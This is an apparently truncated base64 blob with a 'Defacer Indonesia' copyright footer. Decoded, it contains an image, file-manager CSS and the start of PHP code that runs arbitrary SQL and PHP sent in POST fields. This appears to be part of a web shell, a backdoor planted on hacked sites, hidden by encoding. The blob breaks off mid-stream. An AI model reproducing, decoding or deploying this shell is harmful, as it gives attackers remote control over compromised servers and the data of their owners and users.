ytxT2RWSXpzMzR4Ly9HT1hJellwNVNQL3N4Z3FwaUljcCsvc2lRcGNtcHN0YXlzelNBTnVLS1Q5UFQwNHVMaXdJa3k4TGRFK3NWV3ZxYW04ZS92TDVJWitybEg4Y05nMDhDY3o3YWQ4dkx5OUx0VTFxeVV1WjQrcjUxMis4cy93VXBMM2QzZHg3VzFmR05hLzg5WjJjZkgrczVuNk9qb2IxWXRzN0t6MTlmWHdJZzRwMWROK1BqNHpMUjArOHBkN3N0cmhLQXMvOWhqLzlCVjFLdGZ0TFMxbnAyZFlsSlNaRlZWNUxSV2hFRkI1cmhaLzlKcTBIdFQvL0NTa0lxSjZLNUQrTE5OYmxWVnZqTTA0N1pNejdlMzF4RUcvLy8vdEtndTZ3QUFBSnQwVWs1VC8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy93Q1ZWcEtZQUFBQUdYUkZXSFJUYjJaMGQyRnlaUUJCWkc5aVpTQkpiV0ZuWlZKbFlXUjVjY2xsUEFBQUFOWkpSRUZVS0ZOam1LV2lQUXNaTU14aW1zcVBLcEFiMk1zQVpOakxPd2t6Z2dWbUpZbnlwcy9RRTU5ZUtDRXRCaGFZRlJmalp1VGhIMjdsWTZrcUJ4WW9yUy9PTUM1d2lIWmtsMlFDQ1ZUa04rdHJ0Rmo0WlNwTW1hd0RGQkQwbENveW56WkJsMW5JSmo1NUVsQkEwOXBkdmM5YnVUMVNZS1lCV3cxUUlDMG9OWXNqckZISnBTa3ZSWXNCS0NDYk05SExOOXRXcmJxbmpVVUdaRzFBaEd1SVhaUnpwUWwzYUd3RDJCMmNaWjJ6RW9MN1crdTZxeUF1blpYSU9NdlFyRnlrcXdUaUZ6QlFOT1hqNFFLem9BS3phanRZSVF3QWx2dHBsM1Y1YzhNQUFBQUFTVVZPUks1Q1lJST0iKTsNCn0NCkBtZWRpYSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6NzIwcHgpew0KICB0YWJsZXtkaXNwbGF5OmJsb2NrO30NCiAgICAjZm1fdGFibGUgdGR7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt9DQogICAgI2ZtX3RhYmxlIHRib2R5IHRkOmZpcnN0LWNoaWxke3dpZHRoOjEwMCU7cGFkZGluZzowO30NCiAgICAjZm1fdGFibGUgdGJvZHkgdHI6bnRoLWNoaWxkKDJuKzEpe2JhY2tncm91bmQtY29sb3I6I0VGRUZFRjt9DQogICAgI2ZtX3RhYmxlIHRib2R5IHRyOm50aC1jaGlsZCgybil7YmFja2dyb3VuZC1jb2xvcjojREVFM0U3O30NCiAgICAjZm1fdGFibGUgdHJ7ZGlzcGxheTpibG9jaztmbG9hdDpsZWZ0O2NsZWFyOmxlZnQ7d2lkdGg6MTAwJTt9DQoJI2hlYWRlcl90YWJsZSAucm93MiwgI2hlYWRlcl90YWJsZSAucm93MyB7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt3aWR0aDoxMDAlO3BhZGRpbmc6MDt9DQoJI2hlYWRlcl90YWJsZSB0YWJsZSB0ZCB7ZGlzcGxheTppbmxpbmU7ZmxvYXQ6bGVmdDt9DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk%2BDQo8P3BocA0KJHVybF9pbmMgPSAnP2ZtPXRydWUnOw0KaWYgKGlzc2V0KCRfUE9TVFsnc3FscnVuJ10pJiYhZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3NxbF9jb25zb2xlJ10pKXsNCgkkcmVzID0gZW1wdHkoJF9QT1NUWydzcWwnXSkgPyAnJyA6ICRfUE9TVFsnc3FsJ107DQoJJHJlc19sbmcgPSAnc3FsJzsNCn0gZWxzZWlmIChpc3NldCgkX1BPU1RbJ3BocHJ1biddKSYmIWVtcHR5KCRmbV9jb25maWdbJ2VuYWJsZV9waHBfY29uc29sZSddKSl7DQoJJHJlcyA9IGVtcHR5KCRfUE9TVF
Copyright ©2021 || Defacer Indonesia